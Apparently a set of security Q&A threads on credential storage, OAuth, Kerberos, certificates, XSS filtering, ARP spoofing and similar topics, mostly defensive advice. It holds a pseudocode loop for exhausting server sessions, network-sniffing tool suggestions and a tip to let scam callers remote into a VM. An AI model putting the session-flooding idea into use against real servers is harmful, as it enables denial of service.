When writing an API an that connects to the database, what information is sensitive and should be protected? I am on a team that is writing a .NET Core API to service a desktop application. This application used to manage its own database connection through an OracleConnection, and all the values used to connect to the database, including password, were hardcoded into the code (yes, I know).

Currently we are moving these values into a secure location, but my question is, what values do we need to hide? Obviously the password should be on this list. But should we also hide the host, service name, package names, port, service name, or user ID? Anything not on this list that should absolutely be hidden?

The real answer is that's going to depend on the security requirements of the client and their threat model, but I will give you what I feel are best practices.

The actual database credentials should never leave the database server.  The desktop application would call the service, and the service would call the database.  This will allow you to put your database server in an isolated part of the network, and will reduce your attack surface.
Each user must have unique credentials to the service.  This is absolutely a requirement. There is no point in doing any of this if you don't have unique logins.
Communication with the server should also be encrypted. Use SSL.  Even if it's an intranet application.
A single sign-on (SSO) system is ideal for managing the unique credentials. Think Active Directory, if you're in a Windows environment.
If an SSO system is not possible, then passwords should be encrypted when on disk.  There are multiple ways of doing this.  If at all possible, use a keychain which is built into the OS, or some other pre-existing solution that has been tested professionally. I would not recommend encrypting anything more than the password, since that can potentially open up more attacks on the cryptosystem.  All of the server details (hostname, port, etc) will be visible to anyone who has access to the network or can run netstat on the machine anyway.

Hope that helps.


Security considerations of consuming public API I have a website and i want to consume public API from third party services such as Zoopla, weather etc.

I want to ensure i do not consume malicious code/malware from the data retrieved from the 3rd party services.

What are the security checks/best practice i should consider when using any 3rd party public API?

I am using AWS API Gateway.

On top of what others have mentioned, I would suggest to follow these guidelines:

Third Party Schema Validation
If the third party has a published swagger / OpenAPI schema and they have defined the structure of the API well (e.g. using minLength, maxLength, type etc.), make sure you validate the incoming data based on their schema.

Your Own Schema Validation
Assuming you are using a portion of the incoming dataset, only extract that data and validate that the input is aligned with your expectation (e.g. for weather in degrees, validate it's an integer)

Use a third party malware scanning / validation tool for binaries
If you are getting binaries, you can leverage a lambda function to scan the file, from using open source scanning with ClamAV (something in the lines of this article)
or use VirusTotal for validation (here is an example with slack integration + lambda + virustotal)


Causing Denial of Service by "Session Spaming" Let's assume you have a single sign on ticket and you logon to a website which authanticates you by the ticket (same thing with user/password). The webserver will create a session and the user stores the session ID in his browser. Now the user delets his session cookie and refreshes the site. The user will get another session. But the webserver holds two sessions now. The old session does not expire until the timeout is reached. Imagine the user will do this over and over again:

while(true) {
  open website
  delete cookie
}

As soon as the maximum of sessions on the server side is reached, nobody will be able to create another session anymore. The consequence is a denial of service.

What is this kind of attack called?
How can I prevent it?
How high is the risk in a real world scenario? (The attacker still needs a valid authentification.)

If you are using a good system for generating session IDs this would not be a problem. To prevent an attacker from guessing session IDs by brute forcing you need to have a very large space, so that there are in practice to many possible IDs to perform this attack.

An attacker who is able to fill up the whole space of available session IDs would be able to impersonate any logged in user by brute forcing their session ID, something much worse than DoS. So to protect against that much bigger risk sane systems already use session IDs with enough entropy to make this practically impossible.

For instance, even if the session ID has just 32 bits of entropy and a session last for a full day you would still need to initiate 100 billion new sessions per second to use them all up. That would be enough to DoS the server from just the traffic anyway, so the limited number of possible sessions IDs would not be the bottle neck.

Another example are PHP session IDs. By default they are generating by MD5 hashing a number of things, including the current time. So unless you hit a hash collision by accident (extremely unlikely) there will be no duplicates.

In addition to this, I would assume that most services has some kind of cap on the number of open sessions for one user or one IP.

Since this is not a practical attack I don't think it has a name, but it would be a form of denail of service. I think you christened it with a good name in your title.


How to find organization name with tshark How can I configure tshark to display the OrgName of the source or destination IP?

This command produces empty lines

tshark -lq -T fields -e ip.geoip.src_org

and so does this command

tshark -lq -T fields -e whois.answer

The only solution found yet is to pipe IP to whois command:

jwhois is faster than whois (test it with time [cmd] )

#!/bin/bash

tshark -T fields -e ip.addr -E aggregator=" " -l| |sed "s/192.168.1.39//;s/^[ ]*//" |  while read i
do
echo " "
echo "$i"
jwhois $i | grep -i 'orgname\|country\|netrange' | sed 's/^[ ]*//'
done


Scam caller claimed to have elderly friend's "Windows unique identifier" An elderly friend received a telephone call similar to this Information Security SE post and this one.

The caller claimed that my friend's computer had a problem that needed to be fixed.  My friend was savvy enough to quickly identify this as a scam, and refused to provide any information.

What set the call apart from those other SE posts was that the caller claimed to know my friend's "Windows unique identifier" (or something close to that).  Guessing that my friend has a Windows device is not hard: about 90% of computers use some variety of Windows.  I'm not sure what the caller meant by "Windows unique identifier", but I'm guessing they were referring to the Windows Product ID.

My friend wasn't interested in spending any time on the call or verifying any information, but it sounded like the caller was prepared to provide a unique ID that my friend could verify on her computer.

There are many pieces of data that can easily be gleaned about a computer just by visiting a website.  To my knowledge, the Windows Product ID is not one of those pieces of information.

The insistence by the caller that she could provide my friend's "Windows unique identifier" is concerning.

To keep this question narrow, let's assume that my friend has no malware installed on her system.  (I had her perform several thorough scans with different products, and it tested clean on all of them.  I also had her use a Linux CD-ROM with several scanners on it, so she could boot from it and perform more scans... everything showed clean.  I reviewed her system and firewall logs, and did not find anything abnormal.)

Let's also assume the caller was not bluffing, and really did have a verifiable "Windows unique identifier" or Windows Product ID.

Questions:

Is there some sort of "Windows unique identifier", perhaps the Windows Product ID, that is transmitted by any common browsers or browser addons/extensions?
Is the Windows Product ID relatively unique, or does every computer manufacturer just use a small number of Windows Product ID's when they pre-install Windows on their systems, thus making it fairly easy to guess?
If the answer to #1 is "no", and the answer to #2 is that they are relatively unique, and assuming that she has no malware, how could a scammer get a hold of that information?

Note that, despite my recommendations, she has a subscription to one of Symantec's Norton Antivirus/Security products.  Has Symantec had any breaches in which such data could have been stolen?  I do insist that she perform frequent scans with other products as well.

These scammers often scare people by disguising harmless elements (such as event log entries, firewall rules, etc) into evidence of compromise and malware. For example they could tell you to execute some commands or find in advanced system properties what looks like a random number but is actually an reference to some system component common on all systems, like a CLSID. While searching for a Wikipedia page for "clsid" I stumbled upon this blog entry which describes exactly what I just said.

To the average non tech-savvy user, seeing what looks like a cryptic and random number and have the person on the phone tell you that exact number would be pretty convincing, but really, anyone (even if still a scammer) who could really get ahold of genuine confidential information from a data breach or similar would at the very least be more experienced in social engineering and talk about something that actually exists like a product key, product ID or even MAC address rather than the "Windows UUID" nonsense they put up.

If you have their number I suggest you call them back and let them remote into a virtual machine, you'll be able to see exactly what they would've done to your friend if he believed, but usually their tactics are the same, they claim they're Microsoft or "Windows technical center", that your computer sent them some kind of distress signal and you should let them remote in (via TeamViewer or alternatives), then they scare you by showing you errors in the event viewer or by copy/pasting the tree command followed by a scary message like computer infected (which will display only after the tree command has ended, so they can pretend the tree command was actually an antivirus scan and it detected malware), and finally making you pay (either on a genuine payment provider or just their own scam page which steals your card number) for a rogue (fake) antivirus.


CA cert with many Subject Alternative Name (SAN) entries, versus individual certs in public production? I'm looking into creating a CA certificate strategy where i work. And i was wondering if anyone had any points of interest to raise around the difference of a model where our .com and key subdomains use the same cert with SAN entries... versus each subdomain (microservices/apis of the same site) having its own cert? I'll accept an answer with anything valuable i've not thought of.
The points i can think of are:
Security

[+] its easier to standardise the certificate options (i.e. hashing/cyphers) on a shared cert

[-] if the private key is stolen from a.example.com, presumably example.com and all *.example.com services are affected

Maintenance

[+] its easier to maintain one cert than multiple (although in 2020 most of this is automated as part of CI/CD anyway).

Any thoughts?

Individual ciphers are preferable to monoliths.
The idea of using SANs makes sense if you have, for example, one web server which takes care of several smaller websites (e.g. example.com and internal.example.com). In this case, having one certificate per web server, with SANs for each website reduces the amount of configuration overhead.
However, once you start to create what I like to call a "megacertificate", meaning once certificate with uncountably many SANs, you will run into problems. This certificate, and its associated private key, will likely be distributed to many many different servers, meaning that your private key will be in many different places.
This in turn means that the attack surface has now grown exponentially, as it means one compromised server can now compromise all domains, even if they are on different physical servers.

[+] its easier to standardise the certificate options (i.e. hashing/cyphers) on a shared cert

This is false. First of all, the certificate itself does not define any cryptographic ciphers to be used by TLS, only which cryptographic operations are necessary to validate the certificate.
This means that two different physical servers - let's call them alice.com and bob.com - can use the same certificate (with SAN entries for both), and yet still support completely different sets of ciphers. alice.com could support only state-of-the-art ciphers and bob.com may be stuck using insecure legacy ciphers for interoperability reasons.
The only valid reason I can think of at the moment why you might use SANs - aside from convenience during manual setup - is that an appliance or application may not support uploading several different certificates, yet needs to serve different domains.


What is the purpose of encrypting a symetric key with a public key in XML EncryptedKey? I was reading the XML Encryption standard and I have some trouble understanding the purpose of encrypting some plain text with a symmetric generated AES or 3DES key that in turn gets encrypted with the public RSA key of the recipient.

If an attacker gets the private key of the recipient and has the network traffic recorded then he or she can decrypt the AES key and then the plaintext encrypted with the AES key. In TLS or in Signal the symmetric key gets negotiated with DH and does not travel encrypted over the wire giving the connection forward secrecy.

Why should I encrypt the symmetric key with the asymmetric one? Does increase confidentiality or performance? When should I use this double encryption?

Thank you

Why should I encrypt the symmetric key with the asymmetric one? Does increase confidentiality or performance? When should I use this double encryption?

You need to do the symmetric encryption because the maximum size of data RSA can encrypt is restricted by the size of its modulus minus some padding. For example a 1024-bit RSA key can only encrypt data that is at most 117-bytes long. Anything larger than that, you would have needed to split the data into modulus-sized blocks (which also open up a number of other cryptographic issues) or use even larger key (and RSA gets slow very quickly as the key size increases).

Diffie Hellman is a key agreement protocol, it can only work if both side are connected to each other to exchange some data when the document is being encrypted. The use case in document encryption system like XML Encryption is usually that you are creating a document which can be stored and read at a later date by the recipient, and either side may never be online at the same time when generating/reading the document. This is also why Forward Secrecy is irrelevant for document encryption, as you generally want to be able to read the document later, you can't just discard the session key like you would in ephemeral encryption system like TLS. You have to save the session key with the document somewhere so you can read the document later.

If you want PFS, then I'd suggest transferring your encrypted document over TLS/HTTPS, and if you no longer need the document, just delete the document or at least the encrypted part of the document.


How to protect off-the-shelf web applications? As an exercise, please consider the following:

If you are faced with having to deploy off-the-shelf web applications that you are unsure about the vendors security coding practices, which techniques or technologies would be worthwhile applying or deploying for some protection?

Assuming the following:

You don't have access to the source code or can't easily influence changes.
You don't have the resources, funds or skills, for penetration testing or vulnerability assessment of individual applications but funds maybe available for protection technologies that could be used across a range of web applications.
You have no ability to veto the deployment of the applications.

Update:
Think SysAdmin rather than InfoSec professional, that is you have some idea about security but it isn't your main thing.

What are the approaches, techniques or technologies that should be considered at the SysAdmin level without a Security Team to call on that would help them sleep better at night?

First, my condolences.  That sounds like a real bummer - having to bolt on security after the fact with little or no analysis time, with a black box commercial product, no way to get fixes and a forced hand in terms of what product is chosen and when it's deployed is something like a security nerd nightmare.  I'm sorry if this is a real situation - it's not a position I would want to be in, and my first advice would be figure out ways to politically wrangle yourself out of such a situation.  This speaks loudly for an organization where security plays a serious backseat to the demands of IT.  That always spells a bad case for good security practices and it could be your organization's #1 security problem.

Failing an organizational approach at changing the game, here's my common sense thoughts.

Know what authentication and access control the product provides.  Not a full on pen test, just stage it, test it, read what docs you can get, and get some sense of how it fits together.  That'll at least give some clues on weak points that bear some protection.
Application level firewalls that can watch and detect problems in incoming and outgoing HTTP traffic.  Challenge - these are not usually cheap, and they take time and effort to tune.  They are quite likely to have an unacceptable number of false positives right out of the box, and you will need time to get it set up correctly.  Plan on plenty of testbed time before deployment and get a handle on as many valid use cases as you can for setting up test scenarios so that when you deploy you risk very little in terms of operational functionality.
Good backup strategies - figure out a way to deploy quickly and loose as little data as possible in the process.  From what you've said, the new application is untrustworthy, but necessary - so figure it'll get hacked, and figure out a way to recover so that the downtime is minimal with as little impact as possible to your business' mission.
Isolate it.  Don't put this untrusted app on a machine that also holds well-vetted systems.  Similarly, keep the data somewhat isolated if you can, and use some sort of out band transfer mechanism if you have conjoin this data with other business data.  When you have to do something like that, also consider that the data may be corrupt and build in protection mechanisms there.  If it is built off access control systems used by other areas of the company, be sure that the web app has it's own account for privilege lookup functions, and that this account is kept to a bare minimum of capabilities with no change/modify permissions.  Also - log anything that occurs where this system touches some other system so you have a good record.
Build your knowledge base slowly and surely.  I can see a company balking at a security review if security isn't a high priority for them, but no one seems to object to admins learning more about the system as they go.  Start small and cheap with trawling the web and then see what you can do in terms of weaseling free support from the company who provides the product.  Some companies will be happy for the free customer feedback and the diagnostics of security issues.  I've managed to weasel a fairly respectable amount of free tech support simply by being charming, assertive and non-judgmental.

Those are my thoughts.  My basic premise is - treat this thing as a potentially dangerous hole in your system and do everything you can to protect the system, keep all functionality functioning and build up enough knowledge and protection mechanisms that you can eventually upgrade your faith in the product.


What would HTTP/2 TLS encryption provide? https://en.wikipedia.org/wiki/HTTP/2

I know that a HTTPS connection provides:

Authenticity: a website that I'm visiting is the real website that I intended to visit.
Integrity: the data that is sent between the two endpoint is not altered
Encryption: the data that is sent between the two endpoint is encrypted

The question: But what about TLS used in the HTTP/2 RFC? Does it mean the same? Could we finally ditch the CA system if HTTP/2 would provide only connection via TLS?

"HTTPS" is "HTTP-within-SSL" (now, SSL evolves under the name "TLS" but that's the same thing). HTTP/2 is nothing special here, except in that it makes TLS somehow mandatory; in other words, when (if) HTTP/2 becomes an actual thing, all sites using it will be HTTPS sites.

From the TLS point of view, these are just bytes. TLS does not know or care whether the transported bytes actually encode HTTP/1.1 requests, HTTP/2 requests, or anything else.

The "CA system" is linked to TLS, not to HTTP. HTTP/2 changes nothing in that respect. What could "ditch the CA system" would be DANE, and this would apply equally to "normal HTTP" and HTTP/2 (and it would not really remove all CA, despite the propaganda; it would merge CA with domain registrars, which would more amount to a change of players rather than removal of the CA concept).


Trust a non-root CA in OpenSSL Is it possible to have OpenSSL trust a non-root CA such that a certificate signed by that non-root CA can be properly verified? I've noticed that the default behavior for OpenSSL is to only verify certificates when it can build a complete chain, up to a self-signed root CA. Can this be overridden?

I specifically do not want the root to be in the CAfile.

Recent versions (presumably 1.0.2 and above) of OpenSSL supports -partial_chain option.
http://wiki.openssl.org/index.php/Manual:Verify%281%29

Regarding the use-case, it is for example usable in OCSP stapling (i.e. openssl ocsp command), in which case there is no merit in checking the status of the intermediate CA.


Kerberos Authentication I am trying to understand Kerberos Authentication.

So far my understanding is:

  Supposing 'Alice' (A) wants to talk to 'Bob' (B).

  Step 1:
  A -> S: {A, B, None} K(A, S) Where S is the Kerberos Server, and
  K(A,S) is a key to communicate between A and S.

  Step 2:
  S->A {K(A,B), {K(A,B), A} K(B,S)} K(A,S) Server returns the key used
  to communicate between A and B and a second copy of such key encrypted
  with a key used to share information between B and S K(B,S). K(B,S) is
  not known to A. All of this is encrypted with K(A,S).

  Step 3:
  {K(A,B), A} K(B,S) A sends B the key they will used encrypted
  with K(B,S)

  Step 4:
  B->A {Nonce} K(A,B) B decrypts the message and sends back a Nonce
  encrypted using K(A,B)

  Step 5:
  A->B {Nonce+1} K(A,B) Sanity test that they are on the same key

Therefore:

  If S doesn't authorize the communication between A and B, it wouldn't have certified the key K(A,B) to B. By encrypting {K(A,B) A} K(B,S) we guarantee that S has validated the process. A doesn't have K(B,S), so couldn't validate it itself.

  If 'A' used a different key, say K(B,S)' which they attempted passing off, they would be sending: {K(A,B) A} K(B,S)'. When B deciphered this using K(B,S), as the message would have been encrypted using a different key, it wouldn't result in K(A,B), rather some K(A,B)'. So, when B sent back {Nonce} K(A,B)' A wouldn't be able to retrieve the Nonce and complete the authentication.

Have I understood it correctly?

Also (I think this may be a separate question): How does Kerberos independently setup K(A,S) and K(B,S) securely? And how does Kerberos ensure that 'A' is who they say they are?

How does Kerberos independently setup K(A,S) and K(B,S) securely?

For users, the keys are derived from the account password (using the principal & realm names as salt). When you set or change the password on your account, the KDC stores keys derived from it. When you log in using kinit, the Kerberos client derives the same key as the KDC has.

For services, the keys are randomly generated on the KDC, and provided to the service in a "keytab" file out-of-band. Usually the key generation is done via Kadmin RPC secured using an admin's user credentials (and optionally delivered via HTTPS, SFTP, USB stick, etc.)

  And how does Kerberos ensure that 'A' is who they say they are?

Just like many other systems, it assumes that only the account owner knows the secret key – therefore whoever knows the secret key must be the account owner.

Note also that since the service itself has K(B,S) it can craft "fake" tickets for A→B; sometimes that's considered a feature.


Windows service with elevated privileges - Security concern The company I work at uses a program on their Windows workstations that runs as the logged-in user but some tasks require elevated privileges. The user must be able to run these without having admin permissions himself.
The current approach is that at the installation of said program a Windows Service is installed with the user LocalSystem and autostart enabled. The elevated privilege tasks are implemented in the service and whenever the program needs one it just calls the service.
For me this seems kind of fishy because with the current setup any program could at any time call the service and run the implemented tasks with elevated privileges.
Since I'm not an expert in IT security my questions are:
Is this issue really as bad as it seems to me and what would be the right approach to handle the given problem?

The design of services on the Windows platform implies that if your software architecture requires using some additional privileges it needs to be split into the parts where one of them usually runs as a service under "System" account.
The other part of the software typically communicates with this service using some IPC mechanism and runs with the restricted rights, for example, as a non-elevated process (if UAC is enabled and even if UAC is disabled but the software is designed to always run under restricted token, for example using CreateRestrictedToken Windows API).
Most of the Windows OS components and solutions from the different TOP vendors are created in this way. So, if a service that runs under the "System" account and an application which communicates with it were developed with best security practices in mind, everything is ok.
And vice versa, if a service allows any code to dictate which app to run and it runs it under a non-restricted access token with the "System" owner - this is definitely a security problem.


Why do we need the refresh_token OAuth flow? In OAuth 2.0, I'm confused about hwy we need a refresh token flow.  Per my understanding, when you submit a "refresh_token" grant type, you receive an access token, its expiration, and a refresh token.  Then, if the access token has expired, you can submit a new request for an access token using the refresh token and the client credentials.  How's this different than just getting an access token using the client_credentials flow?  There, you are also required to submit your credentials for exchange of an access token, so I'm not clear on why you would need the refresh token flow at all.

Because you are not supposed to know the the credentials!
If you allow users of your app to use their CloudDrive with your app, they login to CloudDrive using credentials. You never get the credentials!
When a access token is only valid e.g. 15 minutes, your users would need to enter their credentials every 15min. Users don't like this!

If you wonder why there are different access and refresh tokens and not only one token with long validity, check this answer!


Why does GnuPG shrink my file after elgamal encryption? I would like to run GnuPG elgamal encryption for at least a few minutes. The only way I can think of is to create a large file to be encrypted. So I created my file like this:

dd if=/dev/zero of=output.dat bs=500M count=1

Then I did:

gpg --passphrase-file passphrase.txt -e output.dat

I get:

du -h output.dat.gpg
500K    output.dat.gpg

If I change my file size:

dd if=/dev/zero of=output.dat bs=400M count=1

Then I did:

gpg --passphrase-file passphrase.txt -e output.dat

I get:

du -h output.dat.gpg
400K    output.dat.gpg

Notice in both cases, the files shrinks by a factor of 1000. If I create a 4MB file, then it encrypt into 4KB file.

Why does it shrink my file?

GnuPG is applying compression before encryption for reasons of efficiency (compression is cheaper than encryption) and security (compression might prevent some attacks introduced by flaws in the OpenPGP design).

As you're encrypting a series of nothing, this can be compressed very well. Consider using /dev/urandom instead.

You can disable compression using --compress-algo none, but be aware this is not a reasonable default for all-day use.


Blacklisting vs. whitelisting characters to prevent XSS? I've been reading about XSS prevention on OWASP and other security channels. They all say that I should use ESAPI or a similar library and do input filtering through a whitelist approach.

However, I use a framework (Webobjects) which encodes by default, so using ESAPI changes my input and is therefore not an option for me.

The second option is to use a whitelist approach. I support many languages like Japanese, Russian, Korean etc, so how do I decide what characters to whitelist?

Also, why is whitelist approach better than a blacklist approach as mentioned by OWASP? Why not just block a handfull of characters used in XSS like <, >, etc?

It is not just a block of handful characters that you need to blacklist. In security we go by this dogma:

  "There are things we know that we know. There are known unknowns. That
  is to say there are things that we now know we don't know. But there
  are also unknown unknowns. There are things we do not know we don't
  know."

Blacklist might help you prevent the first two cases, a whitelist helps covers all three :)

While it is easy to identify and validate a set of characters that are harmless, its difficult to identify all known bad. Most anti-virus software employ blacklist approach(signatures), however they still fail to catch a 0-day because it was something they didn't know as a known bad and hence didn't have a signature for that.


Social Login + OAuth2-secured REST API I'm implementing social login with Facebook, Twitter and Google+ on our OAuth2-secured REST API (secured using spring-security-oauth). I'd like to make sure that the following flow is secure and that I'm not introducing any security holes.

Overview

There's a REST API and three types of client applications: web, iOS and Android. Communication between the API and client applications is made through HTTPS.

Flow

Client applications initiate the social login flow either via the browser or native apps, and make the whole "OAuth dance". They obtain a user ID and an access token corresponding to this user ID.
Client applications send user ID and access token to the REST API as POST parameters to our OAuth2 token endpoint specifing a custom grant_type (either facebook, twitter or google).
The REST API contacts the corresponding social network and validate that

The access token is active.
The access token was generated for the specified user and for our application.

If the above conditions are met, we grab from our DB the user with the specified external ID and generate our own access token which can be used in further requests. The access token is never saved to our database, only the user ID.

I'd like to know whether this is the correct way of implementing social login in this scenario and if there are any pitfalls to this whole flow.

Your flow looks correct as stated, but there are difficulties. Let me explain.

First is the distinction between "authentication" and "authorization." Social login focuses on authentication: Rather than logging in with your application's user/password (or whatever), you're allowing your user to be already-logged-in with Google, Twitter, or Facebook.

Once your user is logged in (by whatever means), YOUR application decides what this user is authorized to do. We can forget that we got here via OAuth 2 (social login) rather than normal site login. That flow looks fine.

Where is the security issue? In that "OAuth 2 dance" which is your step 1, be sure you follow the current docs provided by Google, Twitter, and/or Facebook. Do NOT expose your application's secret API key to the client side (browser or native app). In other words, part of the dance needs to be done server-side. It's very easy to get this wrong, and THAT is the pitfall.

There's another way to look at this. Your application could choose to act as an OAuth 2 client. The token provides not just authentication, but also authorization. The token tells your application what this user is allowed, and not allowed, to do in your application. This is the classic OAuth use case: A third-party application is authorized to perform some task (such as obtaining and printing photos) without having the user's login credentials.

In working with OAuth 2, you can avoid many pitfalls by careful attention to the distinction between authorization and authentication. The OP correctly makes this distinction.


Share private key with expiry period I'd like a way to encrypt my data, and temporarily share access to 'semi-trusted' parties.

If I encrypt my data with my private key, is it possible to share my private key (or some derivative of it) with an expiry time of X hours? Such that another party can use it to decrypt my data until it expires.

BTW - I understand the caveats that once my data is decrypted, if my 'semi-trusted' party turns out to be a bad-actor, that my data is now out in the wild.

Bits do not make suicide after some time or degrade in quality. Thus it is not possible to construct a key which enforces the time limit by itself. Instead you would need some protected service or device which can be accessed with the shared key and will provide the real key or the decrypted data. The time restriction then must be enforced by this service.


Is there Algorithm determining weakness of PIN-code? There are several algorithms that can tell us if our password is strong enough analyzing its length, considering if it uses upper and lowercases, special symbols and digits, considering if it is not a dictionary word.

My question is: is any algorithm exist that can tell me at least two levels of weakness (weak and strong) for 4-digits pin-code? (For example: all digits are different, digits are not increasing or decreasing order (1234, 4321), PIN is not representing year (1986), etc.)
Thank you.

There's no real way to do this beyond studying a real set of chosen PIN numbers by a large group of people and selecting the most common ones to be considered weak. At best you could use a statistical measure of information entropy, such as Shannon entropy or Markov probability, but with such a short sequence (4 digits) you're unlikely to get any kind of reasonable result.

The problem is that you're attempting to model a human problem algorithmically, which rarely works without very large data sets. Information entropy, as a rule, is unmeasurable directly due to the subjective definition of "information". Information is a human construct, and identifying a sequence of digits as having more information than its component numbers is a human process.

As an example, the number 7777 clearly contains a pattern, but 2701 looks like it doesn't contain any pattern at all. However, 2701 is actually the product of two primes, 37 and 73, which are the reverse of each other when written in base ten. If you didn't know this, the PIN number 2701 would appear devoid of any interesting information beyond its individual digits, but once you know that it has an interesting composition it suddenly has more information than you thought. Before reading this answer the number 2701 would probably have no special meaning to you, but others may have known of this quirk and seen it as a pattern. There's no easy way to look at someone and know whether they'd be aware of the composition of this number, or that they'd even be interested in it, let alone potentially use it as their PIN for something. As such you cannot easily determine whether there is an increased likelihood of them using that number.

The problem is confounded further by individuality issues: the day and month of my wedding anniversary has meaning to me, and certainly my wife, so it would be an obvious guess for an attacker who knows me, yet those same digits would hold no meaning to someone else. Again it falls down to the mindset of the individual.

This is the key problem: not only is it hard to classify what constitutes a "meaningful" number beyond some basic universal commonalities, but the answer also depends on the person who came up with the number, and the ability of the attacker to divine that person's sense of meaning. That's not a mathematical problem.

You can go one step further, too. Let's say a large bank accidentally leaks a full list of all the PIN numbers used by their customers - just the PINs, no associated names or account numbers. There are ten million records, so you go through and find each distinct PIN from 0000 to 9999 and count how many times each is used. You now know exactly how frequently a particular PIN might occur. This is cool research, so you publish the dataset online, and it makes it to some news sites where they explain what happened and talk about the most common PIN numbers, but also talk about the least common PIN numbers out there, including the single least frequently used PIN number. By publishing this article they automatically add informational weight to those numbers, leading a few people to change their PIN number and avoid common numbers, which changes the results. Maybe more people pick PINs from the list of least-chosen PINs, which now makes them more likely to be chosen. If you know someone read the article and changed their PIN, you'd want to check the list of least-used PINs according to that article.

As you can understand, the problem is complicated and not easily modeled. It relies upon individual human behaviours and personal choices. There is no one statistical or empirical measurement you can make of a PIN's strength beyond avoiding culturally common patterns (1111, 1234, 6969, etc.), and if you came up with an effective model it would invalidate itself anyway.


Is it possible to implement a nonce without storage? I am looking at implementing an authentication module using OAuth 2.0 Client and I am trying to avoid having any server state.  I was going thorough a few other questions

when to use nonce?
Is it possible to have stateless server nonces in HTTP Digest

It seems like implementing a nonce requires storing something on the server to ensure that replay attacks do not happen because the request should not occur twice.

However, this is only for authentication/authorization not for form submission data in which case implementing a nonce is easy as I would need to have server state anyway to capture the data.

So the more I look at it, it does not seem to make sense to use a nonce in this use case (except for the login, but that's the Authorization server's problem), the token (encrypted with a secret key that is on the server based on the client_secret of OAuth) I have should be fine to send (until it expires).

Is there something that I may be missing?

From the question: "because the request should not occur twice."

No storage means no sense of history which is necessary for your requirement that something shouldn't occur twice.  So the answer is no.  If you want your server app to remember what happened in the past it has to be able to store that somewhere.

You could implement a nonce that was time-limited and not use-limited and that you can do without server-side storage.  You just attach a timestamp to the nonce (and sign it, so the server can verify and attackers can't forge) and stop honoring it after X seconds/minutes/hours.  Replay attacks would be possible but only in that time window.

Your server also needs a trusted source of time.  If an attacker can make your server think it's yesterday then nonces from yesterday start working again.


arp spoofing protection on LAN I am a network administrator in company. I read this article eject any wifi device from network with android

Some of employers are using mobile phones and company`s wireless network. Theses employers are not related with IT. So, they use WIFI for browsing web. (i can not to give them WIFI password, but some employee need WIFI for work)
Of course, they can plug laptop in any available wired socket (yes, i can unplug unused sockets in server room).

How i can protect my local network from arp spoofing?
I don't want to make static arp table.
I read wikipedia article ARP_spoofing

Is there a way, that i can setup some software on our linux server and protect whole network or need to made some configuration on each computer? Also we are using VPN (openvpn), if that matters.

Can i drop arp requests in WIFI routers? Or they are required for DHCP to work? DHCP requests from WIFI routers are forwarded to linux server.

One think with wifi is that maybe i need to isolate public wifi in VLAN? For that i need wifi router that support VLAN and also switch that support VLAN, and our linux firewall`s network card too must support VLAN, right?

And if i prevent ARP spoofing, then MITM attack is possible ?

Suggest you research the latest Cisco APs.  I believe
these devices are able to isolate each wireless client
from each other and from the network.  All client
traffic is routed instead of switched.

You can then setup ACLs to keep WiFi attached
clients from reaching anything they should
not have access to.

Also most enterprise-grade switches support
anti-ARP-spoofing.  Ports can be configured
to allow no more than one MAC address.
Alternately MAC addresses can be limited
to DHCP assigned values (dynamic ARP).
Virtual server ports and ports for cross-
connects to other network devices would
not get the restrictive policy.

If you're feeling seriously paranoid, you might look
into configuring IPSEC between all the critical
systems on the LAN using X509 certificate
authentication.  This prevents all forms of
traffic sniffing and MITM attacks.  Be sure
to setup a CRL (certificate revocation
list) so that if any one system is compromised
or simply goes end-of-life and is discarded,
that it's certificate can be revoked and
never used to communicate on the LAN again.

One caveat:  If one of the critical systems
becomes compromised by a hacker, the hacker
will be on the "inside" and can still do
all the bad things that hackers do.


How can storing a userId as client-side-sessions be safe? The documentation for session handling in ninjaFramework states:

  [...] Ninja uses so called client-side sessions. The cookie itself stores the information you want to attach to that session.
  [...]
  Ninja sessions are not encrypted by default. Therefore you should not store any critical information. Storing a user id, or username is fine

What makes storing the userId "fine"? The way I understood this client-side-sessions are basicly a cookie with attributes in clean text.

What prevents an attacker from just changing it's usersId in the session and therefore becoming another user (without logging in) to the server?

While unencrypted, Ninja sessions are signed:

  A Ninja session is a hash of key/values, signed but not encrypted by default (see next section to enable encryption). That means that as long as your secret is safe, it is not possible for a third-party to forge sessions.

So integrity is ensured for the sessions. The warning you quoted is talking about confidentiality.


WiFi connection history I have a hunch someone is logging on my wifi. I already know how to see who is currently using my wifi, but can I find out who was using my wifi in the past?

There are several ways to view who's on your network, some easier/less technical than others:

The logging feature in your router;
Sometimes you can view currently connected devices. For example in a FritzBox you can see all devices that have a dhcp lease (i.e. which got an IP address) on the "Home Network" page.
You could scan the network from your laptop using a tool like Zenmap (or Nmap on the command line).
A bit more advanced, but you can also put your WiFi card in monitor mode and look for devices that communicate with your access point. Wireshark and airmon-ng are the tools I would use, but there may be better options.
If you have shell access to your router, you could use netstat or even tcpdump to view connections and traffic.
You could turn off DHCP on your router and enable it on your laptop, so that you can easily see who is trying to get a lease.
Using Wireshark you can see broadcasts on the network. Almost every device broadcasts something from time to time so if your access point works as a switch (i.e. if wireless clients can reach each other on layer 2 (ethernet)) you can pretty easily enumerate all active MAC addresses.


Can not logout when the network is unreachable I had checked youtube.com and stackoverflow.com. And found both of them can not log out if the network is unreachable.

I think this is a security risk, right?

Please image a situation below:

I visited this website on my friend's computer. And before I leave, I clicked the logout button but the network is down in that time. So I go home and thinking that I had logged out to succeed. But on another day, my friend opens his computer to start to visit stackoverflow and found my account still there.

If a server has no connection with your client system, your command to log off can never reach the server.

Most web services use cookies to determine who is logged in. If you need to terminate the session, then you could throw away the cookies. A website may offer to delete cookies with javascript, see https://stackoverflow.com/questions/2144386/how-to-delete-a-cookie, but that can only be done locally.

Note that  for example banks also have a time-out on the session, which means that if your session was inactive for a few minutes, the session will automatically be terminated.

It depends on a risk analysis to determine whether such a time-out is required. For banks, health-service etc, the answer is yes, its is required. Apparently, SO finds long logins not such a great risk and long logins are easier on the users, so no real time-out seems applied here.


What is "half PFS" protection, and what protocols or configurations apply to it? I'm looking for a list of scenarios and protocols that are vulnerable (or not vulnerable to) half-PFS protection.

Half PFS, as I understand it, is where the communication between a client and server can be decrypted if one side is hacked.  This IETF mailing list describes OPTLS as only providing half protection for the session.

Question

What is "half protection", and how does it relate to TLS 1.0 and newer protocols?
Are there other implementations (DTLS, ???) that are capable of PFS but have a similar vulnerability?

I'm not completely sure I understand the concept. But I think that the point is that with short term ("ephemeral") asymmetric keys (DH, ECDH nowadays. But "ephemeral RSA" used to be a thing as well.) there are several opinions about exactly how short term these keys are supposed to be.

